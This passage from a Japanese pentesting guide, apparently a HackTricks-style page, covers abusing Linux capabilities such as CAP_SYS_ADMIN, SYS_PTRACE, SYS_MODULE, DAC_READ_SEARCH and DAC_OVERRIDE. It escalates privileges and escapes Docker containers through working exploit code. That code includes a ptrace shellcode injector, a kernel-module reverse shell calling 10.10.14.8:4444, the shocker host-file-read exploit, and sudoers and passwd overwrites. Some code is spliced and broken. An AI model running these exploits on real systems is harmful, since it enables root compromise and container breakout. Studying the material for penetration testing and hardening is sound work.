static void set_ambient_cap(int cap) {
int rc;
capng_get_caps_process();
rc = capng_update(CAPNG_ADD, CAPNG_INHERITABLE, cap);
if (rc) {
printf("Cannot add inheritable cap\n");
exit(2);
}
capng_apply(CAPNG_SELECT_CAPS);
/* Note the two 0s at the end. Kernel checks for these */
if (prctl(PR_CAP_AMBIENT, PR_CAP_AMBIENT_RAISE, cap, 0, 0)) {
perror("Cannot set cap");
exit(1);
}
}
void usage(const char * me) {
printf("Usage: %s [-c caps] new-program new-args\n", me);
exit(1);
}
int default_caplist[] = {
CAP_NET_RAW,
CAP_NET_ADMIN,
CAP_SYS_NICE,
-1
};
int * get_caplist(const char * arg) {
int i = 1;
int * list = NULL;
char * dup = strdup(arg), * tok;
for (tok = strtok(dup, ","); tok; tok = strtok(NULL, ",")) {
list = realloc(list, (i + 1) * sizeof(int));
if (!list) {
perror("out of memory");
exit(1);
}
list[i - 1] = atoi(tok);
list[i] = -1;
i++;
}
return list;
}
int main(int argc, char ** argv) {
int rc, i, gotcaps = 0;
int * caplist = NULL;
int index = 1; // argv index for cmd to start
if (argc < 2)
usage(argv[0]);
if (strcmp(argv[1], "-c") == 0) {
if (argc <= 3) {
usage(argv[0]);
}
caplist = get_caplist(argv[2]);
index = 3;
}
if (!caplist) {
caplist = (int * ) default_caplist;
}
for (i = 0; caplist[i] != -1; i++) {
printf("adding %d to ambient list\n", caplist[i]);
set_ambient_cap(caplist[i]);
}
printf("Ambient forking shell\n");
if (execv(argv[index], argv + index))
perror("Cannot exec");
return 0;
}
```
{% endcode %}
```bash
gcc -Wl,--no-as-needed -lcap-ng -o ambient ambient.c
sudo setcap cap_setpcap,cap_net_raw,cap_net_admin,cap_sys_nice+eip ambient
./ambient /bin/bash
```
**コンパイルされた環境バイナリによって実行されるbash**内で、**新しい機能**を観察することができます(通常のユーザーは「現在の」セクションには何の機能も持っていません)。
```bash
capsh --print
Current: = cap_net_admin,cap_net_raw,cap_sys_nice+eip
```
{% hint style="danger" %}
許可されたセットと継承可能なセットの両方に存在する機能のみを追加できます。
{% endhint %}
### 機能対応/機能非対応のバイナリ
**機能対応のバイナリは、環境で与えられた新しい機能を使用しません**が、**機能非対応のバイナリは**それらを拒否しないため、使用します。これにより、機能非対応のバイナリは、機能をバイナリに付与する特別な環境内で脆弱になります。
## サービスの機能
デフォルトでは、**rootとして実行されるサービスにはすべての機能が割り当てられます**が、場合によってはこれは危険です。\
したがって、**サービスの設定**ファイルでは、サービスが不必要な特権で実行されるのを避けるために、持っているべき**機能**と**実行するユーザー**を**指定**することができます。
```bash
[Service]
User=bob
AmbientCapabilities=CAP_NET_BIND_SERVICE
```
## Dockerコンテナの機能
デフォルトでは、Dockerはコンテナにいくつかの機能を割り当てます。これらの機能を確認するには、次のコマンドを実行するだけです。
```bash
docker run --rm -it r.j3ss.co/amicontained bash
Capabilities:
BOUNDING -> chown dac_override fowner fsetid kill setgid setuid setpcap net_bind_service net_raw sys_chroot mknod audit_write setfcap
# Add a capabilities
docker run --rm -it --cap-add=SYS_ADMIN r.j3ss.co/amicontained bash
# Add all capabilities
docker run --rm -it --cap-add=ALL r.j3ss.co/amicontained bash
# Remove all and add only one
docker run --rm -it --cap-drop=ALL --cap-add=SYS_PTRACE r.j3ss.co/amicontained bash
```
[**RootedCON**](https://www.rootedcon.com/)は、**スペイン**で最も関連性の高いサイバーセキュリティイベントであり、**ヨーロッパ**でも最も重要なイベントの一つです。技術的な知識を促進することを使命としているこの会議は、あらゆる分野の技術とサイバーセキュリティの専門家のための活気ある交流の場です。
{% embed url="https://www.rootedcon.com/" %}
## Privesc/Container Escape
特権操作を実行した後に、自分自身のプロセスを制限したい場合には、機能は便利です(例:chrootの設定やソケットへのバインドの後)。ただし、これらは悪意のあるコマンドや引数を渡すことで悪用される可能性があり、その場合はrootとして実行されます。
`setcap`を使用してプログラムに機能を強制し、`getcap`を使用してこれらをクエリできます。
```bash
#Set Capability
setcap cap_net_raw+ep /sbin/ping
#Get Capability
getcap /sbin/ping
/sbin/ping = cap_net_raw+ep
```
`+ep`は、能力を追加することを意味します(「-」は削除することを意味します)が、Effective(有効)とPermitted(許可)として追加されます。
システムまたはフォルダ内のプログラムを特定するには、次の手順を実行します:
```bash
getcap -r / 2>/dev/null
```
### 攻撃例
以下の例では、バイナリ `/usr/bin/python2.6` が特権昇格の脆弱性があることがわかりました。
```bash
setcap cap_setuid+ep /usr/bin/python2.7
/usr/bin/python2.7 = cap_setuid+ep
#Exploit
/usr/bin/python2.7 -c 'import os; os.setuid(0); os.system("/bin/bash");'
```
**パケットのスニッフィングを任意のユーザーに許可するために必要な** `tcpdump` **の** **Capabilities**:
```markdown
To allow any user to sniff packets using `tcpdump`, the following capabilities need to be granted:
1. `CAP_NET_RAW`: This capability allows the user to create raw sockets, which is necessary for packet sniffing.
To grant these capabilities to `tcpdump`, you can use the `setcap` command as follows:
```bash
sudo setcap cap_net_raw=eip /usr/sbin/tcpdump
```
After granting these capabilities, any user will be able to use `tcpdump` to sniff packets without requiring root privileges.
```
```html
任意のユーザーが`tcpdump`を使用してパケットをスニッフするためには、次の機能が付与される必要があります:
CAP_NET_RAW
:この機能により、ユーザーはパケットスニッフィングに必要な生のソケットを作成できます。
これらの機能を`tcpdump`に付与するには、次のように`setcap`コマンドを使用できます:
sudo setcap cap_net_raw=eip /usr/sbin/tcpdump
これらの機能を付与した後、任意のユーザーはルート権限を必要とせずに`tcpdump`を使用してパケットをスニッフできます。
```
```bash
setcap cap_net_raw,cap_net_admin=eip /usr/sbin/tcpdump
getcap /usr/sbin/tcpdump
/usr/sbin/tcpdump = cap_net_admin,cap_net_raw+eip
```
### "空"の権限の特殊なケース
注意してください。プログラムファイルに空の権限セットを割り当てることができるため、実行するプロセスの有効なユーザーIDと保存されたユーザーIDを0に変更するが、そのプロセスに権限を与えないset-user-ID-rootプログラムを作成することが可能です。要するに、次の条件を満たすバイナリがある場合:
1. rootの所有ではない
2. `SUID`/`SGID`ビットが設定されていない
3. 空の権限セットが設定されている(例:`getcap myelf`が`myelf =ep`を返す)
そのバイナリは**rootとして実行**されます。
## CAP\_SYS\_ADMIN
[**CAP\_SYS\_ADMIN**](https://man7.org/linux/man-pages/man7/capabilities.7.html)は主にキャッチオールの機能であり、追加の権限または完全なroot(通常はすべての権限へのアクセス)に簡単につながることがあります。`CAP_SYS_ADMIN`は、さまざまな**管理操作**を実行するために必要であり、特権操作がコンテナ内で実行される場合、コンテナから削除することは困難です。この機能を保持することは、個々のアプリケーションコンテナよりもシステム全体を模倣するコンテナにとってしばしば必要です。その他のことに加えて、これにより**デバイスのマウント**や**release_agent**の悪用によるコンテナからの脱出が可能になります。
**バイナリの例**
```bash
getcap -r / 2>/dev/null
/usr/bin/python2.7 = cap_sys_admin+ep
```
Pythonを使用して、実際の_passwd_ファイルの上に修正された_passwd_ファイルをマウントすることができます。
```bash
cp /etc/passwd ./ #Create a copy of the passwd file
openssl passwd -1 -salt abc password #Get hash of "password"
vim ./passwd #Change roots passwords of the fake passwd file
```
そして、修正した`passwd`ファイルを`/etc/passwd`に**マウント**します:
```python
from ctypes import *
libc = CDLL("libc.so.6")
libc.mount.argtypes = (c_char_p, c_char_p, c_char_p, c_ulong, c_char_p)
MS_BIND = 4096
source = b"/path/to/fake/passwd"
target = b"/etc/passwd"
filesystemtype = b"none"
options = b"rw"
mountflags = MS_BIND
libc.mount(source, target, filesystemtype, mountflags, options)
```
そして、パスワード「password」を使用して**`su`でrootとしてログイン**することができます。
**環境の例(Dockerの脱出)**
次のコマンドを使用して、Dockerコンテナ内で有効な機能を確認できます。
```
capsh --print
Current: = cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,cap_audit_read+ep
Bounding set =cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,cap_audit_read
Securebits: 00/0x0/1'b0
secure-noroot: no (unlocked)
secure-no-suid-fixup: no (unlocked)
secure-keep-caps: no (unlocked)
uid=0(root)
gid=0(root)
groups=0(root)
```
前の出力の中で、SYS\_ADMINの機能が有効になっていることがわかります。
* **マウント**
これにより、Dockerコンテナはホストディスクをマウントし、自由にアクセスすることができます。
```bash
fdisk -l #Get disk name
Disk /dev/sda: 4 GiB, 4294967296 bytes, 8388608 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
mount /dev/sda /mnt/ #Mount it
cd /mnt
chroot ./ bash #You have a shell inside the docker hosts disk
```
* **完全なアクセス**
前の方法では、Dockerホストのディスクにアクセスできました。\
ホストが**ssh**サーバーを実行している場合、Dockerホストのディスク内にユーザーを作成し、SSH経由でアクセスすることができます。
```bash
#Like in the example before, the first step is to mount the docker host disk
fdisk -l
mount /dev/sda /mnt/
#Then, search for open ports inside the docker host
nc -v -n -w2 -z 172.17.0.1 1-65535
(UNKNOWN) [172.17.0.1] 2222 (?) open
#Finally, create a new user inside the docker host and use it to access via SSH
chroot /mnt/ adduser john
ssh john@172.17.0.1 -p 2222
```
## CAP\_SYS\_PTRACE
**これは、ホスト内で実行されているプロセス内にシェルコードを注入することで、コンテナから脱出することができることを意味します。** ホスト内で実行されているプロセスにアクセスするためには、コンテナを少なくとも **`--pid=host`** オプションで実行する必要があります。
[**CAP\_SYS\_PTRACE**](https://man7.org/linux/man-pages/man7/capabilities.7.html) は、`ptrace(2)` および最近導入されたクロスメモリアタッチシステムコール(`process_vm_readv(2)` および `process_vm_writev(2)`)を使用することを許可します。この機能が許可され、`ptrace(2)` システムコール自体が seccomp フィルタによってブロックされていない場合、攻撃者は他の seccomp 制限をバイパスすることができます。[ptrace が許可されている場合の seccomp バイパスの PoC](https://gist.github.com/thejh/8346f47e359adecd1d53) や、**以下の PoC** を参照してください。
**バイナリ(Python)の例**
```bash
getcap -r / 2>/dev/null
/usr/bin/python2.7 = cap_sys_ptrace+ep
```
```python
import ctypes
import sys
import struct
# Macros defined in
# https://code.woboq.org/qt5/include/sys/ptrace.h.html
PTRACE_POKETEXT = 4
PTRACE_GETREGS = 12
PTRACE_SETREGS = 13
PTRACE_ATTACH = 16
PTRACE_DETACH = 17
# Structure defined in
# https://code.woboq.org/qt5/include/sys/user.h.html#user_regs_struct
class user_regs_struct(ctypes.Structure):
_fields_ = [
("r15", ctypes.c_ulonglong),
("r14", ctypes.c_ulonglong),
("r13", ctypes.c_ulonglong),
("r12", ctypes.c_ulonglong),
("rbp", ctypes.c_ulonglong),
("rbx", ctypes.c_ulonglong),
("r11", ctypes.c_ulonglong),
("r10", ctypes.c_ulonglong),
("r9", ctypes.c_ulonglong),
("r8", ctypes.c_ulonglong),
("rax", ctypes.c_ulonglong),
("rcx", ctypes.c_ulonglong),
("rdx", ctypes.c_ulonglong),
("rsi", ctypes.c_ulonglong),
("rdi", ctypes.c_ulonglong),
("orig_rax", ctypes.c_ulonglong),
("rip", ctypes.c_ulonglong),
("cs", ctypes.c_ulonglong),
("eflags", ctypes.c_ulonglong),
("rsp", ctypes.c_ulonglong),
("ss", ctypes.c_ulonglong),
("fs_base", ctypes.c_ulonglong),
("gs_base", ctypes.c_ulonglong),
("ds", ctypes.c_ulonglong),
("es", ctypes.c_ulonglong),
("fs", ctypes.c_ulonglong),
("gs", ctypes.c_ulonglong),
]
libc = ctypes.CDLL("libc.so.6")
pid=int(sys.argv[1])
# Define argument type and respone type.
libc.ptrace.argtypes = [ctypes.c_uint64, ctypes.c_uint64, ctypes.c_void_p, ctypes.c_void_p]
libc.ptrace.restype = ctypes.c_uint64
# Attach to the process
libc.ptrace(PTRACE_ATTACH, pid, None, None)
registers=user_regs_struct()
# Retrieve the value stored in registers
libc.ptrace(PTRACE_GETREGS, pid, None, ctypes.byref(registers))
print("Instruction Pointer: " + hex(registers.rip))
print("Injecting Shellcode at: " + hex(registers.rip))
# Shell code copied from exploit db. https://github.com/0x00pf/0x00sec_code/blob/master/mem_inject/infect.c
shellcode = "\x48\x31\xc0\x48\x31\xd2\x48\x31\xf6\xff\xc6\x6a\x29\x58\x6a\x02\x5f\x0f\x05\x48\x97\x6a\x02\x66\xc7\x44\x24\x02\x15\xe0\x54\x5e\x52\x6a\x31\x58\x6a\x10\x5a\x0f\x05\x5e\x6a\x32\x58\x0f\x05\x6a\x2b\x58\x0f\x05\x48\x97\x6a\x03\x5e\xff\xce\xb0\x21\x0f\x05\x75\xf8\xf7\xe6\x52\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x8d\x3c\x24\xb0\x3b\x0f\x05"
# Inject the shellcode into the running process byte by byte.
for i in xrange(0,len(shellcode),4):
# Convert the byte to little endian.
shellcode_byte_int=int(shellcode[i:4+i].encode('hex'),16)
shellcode_byte_little_endian=struct.pack("& /dev/tcp/192.168.115.135/5656 0>&1'")
```
コマンドの出力は見ることができませんが、そのプロセスによって実行されます(したがって、逆シェルを取得します)。
{% hint style="warning" %}
「現在のコンテキストにシンボル「system」がありません」というエラーが表示される場合は、gdbを使用してプログラムにシェルコードをロードする前の例を確認してください。
{% endhint %}
**環境を使用した例(Dockerの脱出)- シェルコードのインジェクション**
Dockerコンテナ内で有効な機能を確認するには、次のコマンドを使用します:
```
capsh --print
Current: = cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_sys_ptrace,cap_mknod,cap_audit_write,cap_setfcap+ep
Bounding set =cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_sys_ptrace,cap_mknod,cap_audit_write,cap_setfcap
Securebits: 00/0x0/1'b0
secure-noroot: no (unlocked)
secure-no-suid-fixup: no (unlocked)
secure-keep-caps: no (unlocked)
uid=0(root)
gid=0(root)
groups=0(root
```
ホストで実行中のプロセスをリストアップする `ps -eaf`
1. アーキテクチャを取得する `uname -m`
2. アーキテクチャに対応したシェルコードを見つける ([https://www.exploit-db.com/exploits/41128](https://www.exploit-db.com/exploits/41128))
3. シェルコードをプロセスのメモリにインジェクトするためのプログラムを見つける ([https://github.com/0x00pf/0x00sec\_code/blob/master/mem\_inject/infect.c](https://github.com/0x00pf/0x00sec\_code/blob/master/mem\_inject/infect.c))
4. プログラム内のシェルコードを変更し、コンパイルする `gcc inject.c -o inject`
5. インジェクトしてシェルを取得する: `./inject 299; nc 172.17.0.1 5600`
## CAP\_SYS\_MODULE
[**CAP\_SYS\_MODULE**](https://man7.org/linux/man-pages/man7/capabilities.7.html) はプロセスが任意のカーネルモジュールをロードおよびアンロードできるようにします (`init_module(2)`, `finit_module(2)` および `delete_module(2)` システムコール)。これにより、簡単な特権エスカレーションとリング-0の侵害が可能になります。カーネルは自由に変更でき、すべてのシステムセキュリティ、Linuxセキュリティモジュール、およびコンテナシステムが無効化されます。\
**つまり、ホストマシンのカーネルにカーネルモジュールを挿入/削除できます。**
**バイナリの例**
以下の例では、バイナリ **`python`** がこの機能を持っています。
```bash
getcap -r / 2>/dev/null
/usr/bin/python2.7 = cap_sys_module+ep
```
デフォルトでは、**`modprobe`**コマンドは依存関係リストとマップファイルをディレクトリ**`/lib/modules/$(uname -r)`**でチェックします。\
これを悪用するために、偽の**lib/modules**フォルダを作成しましょう。
```bash
mkdir lib/modules -p
cp -a /lib/modules/5.0.0-20-generic/ lib/modules/$(uname -r)
```
次に、以下の2つの例からカーネルモジュールをコンパイルし、それをこのフォルダにコピーします。
```bash
cp reverse-shell.ko lib/modules/$(uname -r)/
```
最後に、このカーネルモジュールをロードするために必要なPythonコードを実行します。
```python
import kmod
km = kmod.Kmod()
km.set_mod_dir("/path/to/fake/lib/modules/5.0.0-20-generic/")
km.modprobe("reverse-shell")
```
**バイナリを使った例**
次の例では、バイナリ **`kmod`** がこの機能を持っています。
```bash
getcap -r / 2>/dev/null
/bin/kmod = cap_sys_module+ep
```
これは、**`insmod`**コマンドを使用してカーネルモジュールを挿入することが可能であることを意味します。この特権を悪用して**逆シェル**を取得するための以下の例に従ってください。
**環境を使用した例(Dockerの脱出)**
Dockerコンテナ内で有効な機能を確認するには、次のコマンドを使用します:
```
capsh --print
Current: = cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_module,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap+ep
Bounding set =cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_module,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap
Securebits: 00/0x0/1'b0
secure-noroot: no (unlocked)
secure-no-suid-fixup: no (unlocked)
secure-keep-caps: no (unlocked)
uid=0(root)
gid=0(root)
groups=0(root)
```
前の出力の中で、**SYS\_MODULE**の機能が有効になっていることがわかります。
逆シェルを実行する**カーネルモジュール**と、それを**コンパイル**するための**Makefile**を**作成**します:
{% code title="reverse-shell.c" %}
```c
#include
#include
MODULE_LICENSE("GPL");
MODULE_AUTHOR("AttackDefense");
MODULE_DESCRIPTION("LKM reverse shell module");
MODULE_VERSION("1.0");
char* argv[] = {"/bin/bash","-c","bash -i >& /dev/tcp/10.10.14.8/4444 0>&1", NULL};
static char* envp[] = {"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", NULL };
// call_usermodehelper function is used to create user mode processes from kernel space
static int __init reverse_shell_init(void) {
return call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
}
static void __exit reverse_shell_exit(void) {
printk(KERN_INFO "Exiting\n");
}
module_init(reverse_shell_init);
module_exit(reverse_shell_exit);
```
{% code title="Makefile" %}
```bash
obj-m +=reverse-shell.o
all:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
clean:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
```
{% endcode %}
{% hint style="warning" %}
Makefile内の各単語の前の空白文字は、**タブではなくスペース**である必要があります!
{% endhint %}
`make`を実行してコンパイルします。
```
ake[1]: *** /lib/modules/5.10.0-kali7-amd64/build: No such file or directory. Stop.
sudo apt update
sudo apt full-upgrade
```
最後に、シェル内で`nc`を起動し、別のシェルから**モジュールをロード**して、ncプロセスでシェルをキャプチャすることができます。
```bash
#Shell 1
nc -lvnp 4444
#Shell 2
insmod reverse-shell.ko #Launch the reverse shell
```
**この技術のコードは、[https://www.pentesteracademy.com/](https://www.pentesteracademy.com/)の「Abusing SYS\_MODULE Capability」の実験室からコピーされました。**
この技術の別の例は、[https://www.cyberark.com/resources/threat-research-blog/how-i-hacked-play-with-docker-and-remotely-ran-code-on-the-host](https://www.cyberark.com/resources/threat-research-blog/how-i-hacked-play-with-docker-and-remotely-ran-code-on-the-host)で見つけることができます。
## CAP\_DAC\_READ\_SEARCH
[**CAP\_DAC\_READ\_SEARCH**](https://man7.org/linux/man-pages/man7/capabilities.7.html)は、プロセスが**ファイルの読み取り、ディレクトリの読み取りと実行権限をバイパス**することを可能にします。これは、ファイルの検索や読み取りに使用するために設計されていましたが、`open_by_handle_at(2)`を呼び出す権限も付与されます。`CAP_DAC_READ_SEARCH`の権限を持つ任意のプロセスは、`open_by_handle_at(2)`を使用して、マウント名前空間の外にあるファイルにアクセスできます。`open_by_handle_at(2)`に渡されるハンドルは、`name_to_handle_at(2)`を使用して取得される不透明な識別子であることが意図されています。ただし、このハンドルにはinode番号などの機密性の高い情報が含まれており、改ざんも可能です。これは、Sebastian KrahmerによってDockerコンテナで最初に問題が発生したことが示されました([shocker](https://medium.com/@fun_cuddles/docker-breakout-exploit-analysis-a274fff0e6b3) exploit)。\
**つまり、ファイルの読み取り権限チェックとディレクトリの読み取り/実行権限チェックをバイパスすることができます。**
**バイナリを使用した例**
バイナリは任意のファイルを読み取ることができます。したがって、tarのようなファイルにこの機能がある場合、shadowファイルを読み取ることができます。
```bash
cd /etc
tar -czf /tmp/shadow.tar.gz shadow #Compress show file in /tmp
cd /tmp
tar -cxf shadow.tar.gz
```
**バイナリ2の例**
この場合、**`python`** バイナリにこの機能があると仮定しましょう。ルートファイルをリストするためには、次のようにします:
```python
import os
for r, d, f in os.walk('/root'):
for filename in f:
print(filename)
```
そして、ファイルを読むためには次のようにすることができます:
```python
print(open("/etc/shadow", "r").read())
```
**環境の例(Dockerの脱出)**
次のコマンドを使用して、Dockerコンテナ内で有効な機能を確認できます。
```
capsh --print
Current: = cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap+ep
Bounding set =cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap
Securebits: 00/0x0/1'b0
secure-noroot: no (unlocked)
secure-no-suid-fixup: no (unlocked)
secure-keep-caps: no (unlocked)
uid=0(root)
gid=0(root)
groups=0(root)
```
前の出力の中で、**DAC\_READ\_SEARCH**機能が有効になっていることがわかります。その結果、コンテナは**プロセスのデバッグ**ができます。
次の悪用方法については、[https://medium.com/@fun\_cuddles/docker-breakout-exploit-analysis-a274fff0e6b3](https://medium.com/@fun\_cuddles/docker-breakout-exploit-analysis-a274fff0e6b3)で学ぶことができますが、要約すると、**CAP\_DAC\_READ\_SEARCH**は許可チェックなしでファイルシステムをトラバースすることができるだけでなく、_**open\_by\_handle\_at(2)**_のチェックも明示的に削除し、**他のプロセスが開いている機密ファイルにアクセスすることができます**。
この権限を悪用してホストからファイルを読み取る元のエクスプロイトは、ここで見つけることができます: [http://stealth.openwall.net/xSports/shocker.c](http://stealth.openwall.net/xSports/shocker.c)。以下は、**最初の引数で読み取りたいファイルを指定し、それをファイルにダンプする**ための修正版です。
```c
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
// gcc shocker.c -o shocker
// ./socker /etc/shadow shadow #Read /etc/shadow from host and save result in shadow file in current dir
struct my_file_handle {
unsigned int handle_bytes;
int handle_type;
unsigned char f_handle[8];
};
void die(const char *msg)
{
perror(msg);
exit(errno);
}
void dump_handle(const struct my_file_handle *h)
{
fprintf(stderr,"[*] #=%d, %d, char nh[] = {", h->handle_bytes,
h->handle_type);
for (int i = 0; i < h->handle_bytes; ++i) {
fprintf(stderr,"0x%02x", h->f_handle[i]);
if ((i + 1) % 20 == 0)
fprintf(stderr,"\n");
if (i < h->handle_bytes - 1)
fprintf(stderr,", ");
}
fprintf(stderr,"};\n");
}
int find_handle(int bfd, const char *path, const struct my_file_handle *ih, struct my_file_handle
*oh)
{
int fd;
uint32_t ino = 0;
struct my_file_handle outh = {
.handle_bytes = 8,
.handle_type = 1
};
DIR *dir = NULL;
struct dirent *de = NULL;
path = strchr(path, '/');
// recursion stops if path has been resolved
if (!path) {
memcpy(oh->f_handle, ih->f_handle, sizeof(oh->f_handle));
oh->handle_type = 1;
oh->handle_bytes = 8;
return 1;
}
++path;
fprintf(stderr, "[*] Resolving '%s'\n", path);
if ((fd = open_by_handle_at(bfd, (struct file_handle *)ih, O_RDONLY)) < 0)
die("[-] open_by_handle_at");
if ((dir = fdopendir(fd)) == NULL)
die("[-] fdopendir");
for (;;) {
de = readdir(dir);
if (!de)
break;
fprintf(stderr, "[*] Found %s\n", de->d_name);
if (strncmp(de->d_name, path, strlen(de->d_name)) == 0) {
fprintf(stderr, "[+] Match: %s ino=%d\n", de->d_name, (int)de->d_ino);
ino = de->d_ino;
break;
}
}
fprintf(stderr, "[*] Brute forcing remaining 32bit. This can take a while...\n");
if (de) {
for (uint32_t i = 0; i < 0xffffffff; ++i) {
outh.handle_bytes = 8;
outh.handle_type = 1;
memcpy(outh.f_handle, &ino, sizeof(ino));
memcpy(outh.f_handle + 4, &i, sizeof(i));
if ((i % (1<<20)) == 0)
fprintf(stderr, "[*] (%s) Trying: 0x%08x\n", de->d_name, i);
if (open_by_handle_at(bfd, (struct file_handle *)&outh, 0) > 0) {
closedir(dir);
close(fd);
dump_handle(&outh);
return find_handle(bfd, path, &outh, oh);
}
}
}
closedir(dir);
close(fd);
return 0;
}
int main(int argc,char* argv[] )
{
char buf[0x1000];
int fd1, fd2;
struct my_file_handle h;
struct my_file_handle root_h = {
.handle_bytes = 8,
.handle_type = 1,
.f_handle = {0x02, 0, 0, 0, 0, 0, 0, 0}
};
fprintf(stderr, "[***] docker VMM-container breakout Po(C) 2014 [***]\n"
"[***] The tea from the 90's kicks your sekurity again. [***]\n"
"[***] If you have pending sec consulting, I'll happily [***]\n"
"[***] forward to my friends who drink secury-tea too! [***]\n\n\n");
read(0, buf, 1);
// get a FS reference from something mounted in from outside
if ((fd1 = open("/etc/hostname", O_RDONLY)) < 0)
die("[-] open");
if (find_handle(fd1, argv[1], &root_h, &h) <= 0)
die("[-] Cannot find valid handle!");
fprintf(stderr, "[!] Got a final handle!\n");
dump_handle(&h);
if ((fd2 = open_by_handle_at(fd1, (struct file_handle *)&h, O_RDONLY)) < 0)
die("[-] open_by_handle");
memset(buf, 0, sizeof(buf));
if (read(fd2, buf, sizeof(buf) - 1) < 0)
die("[-] read");
printf("Success!!\n");
FILE *fptr;
fptr = fopen(argv[2], "w");
fprintf(fptr,"%s", buf);
fclose(fptr);
close(fd2); close(fd1);
return 0;
}
```
{% hint style="warning" %}
エクスプロイトは、ホストにマウントされた何かのポインタを見つける必要があります。元のエクスプロイトでは、ファイル/.dockerinitを使用していましたが、この修正版では/etc/hostnameを使用しています。エクスプロイトが機能しない場合は、異なるファイルを設定する必要があるかもしれません。ホストにマウントされたファイルを見つけるには、mountコマンドを実行してください:
{% endhint %}
![](<../../.gitbook/assets/image (407) (1).png>)
**このテクニックのコードは、**[**https://www.pentesteracademy.com/**](https://www.pentesteracademy.com)**の「Abusing DAC\_READ\_SEARCH Capability」のラボからコピーされました**
[**RootedCON**](https://www.rootedcon.com/)は、**スペイン**で最も関連性の高いサイバーセキュリティイベントであり、**ヨーロッパ**でも最も重要なイベントの一つです。技術的な知識を促進することを使命としているこの会議は、あらゆる分野の技術とサイバーセキュリティの専門家にとっての活気ある交流の場です。
{% embed url="https://www.rootedcon.com/" %}
## CAP\_DAC\_OVERRIDE
**これは、任意のファイルの書き込み許可チェックをバイパスできることを意味します。したがって、任意のファイルを書き込むことができます。**
特権を昇格させるために上書きできるファイルはたくさんあります。[**ここからアイデアを得ることができます**](payloads-to-execute.md#overwriting-a-file-to-escalate-privileges)。
**バイナリを使用した例**
この例では、vimにこの機能がありますので、_passwd_、_sudoers_、_shadow_などの任意のファイルを変更することができます。
```bash
getcap -r / 2>/dev/null
/usr/bin/vim = cap_dac_override+ep
vim /etc/sudoers #To overwrite it
```
**バイナリ2の例**
この例では、**`python`** バイナリにこの機能が付与されます。Pythonを使用して、任意のファイルを上書きすることができます。
```python
file=open("/etc/sudoers","a")
file.write("yourusername ALL=(ALL) NOPASSWD:ALL")
file.close()
```
**環境とCAP_DAC_READ_SEARCH(Docker脱出)の例**
次のコマンドを使用して、Dockerコンテナ内で有効な機能を確認できます。
```
capsh --print
Current: = cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap+ep
Bounding set =cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap
Securebits: 00/0x0/1'b0
secure-noroot: no (unlocked)
secure-no-suid-fixup: no (unlocked)
secure-keep-caps: no (unlocked)
uid=0(root)
gid=0(root)
groups=0(root)
```
まず、ホストの任意のファイルを読み取るために [**DAC\_READ\_SEARCH 機能を悪用する**](linux-capabilities.md#cap\_dac\_read\_search) 前のセクションを読んでください。そして、エクスプロイトを **コンパイル** してください。\
次に、ホストのファイルシステムに **任意のファイルを書き込むことができる** 以下のバージョンのショッカーエクスプロイトを **コンパイル** してください。
```c
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
// gcc shocker_write.c -o shocker_write
// ./shocker_write /etc/passwd passwd
struct my_file_handle {
unsigned int handle_bytes;
int handle_type;
unsigned char f_handle[8];
};
void die(const char * msg) {
perror(msg);
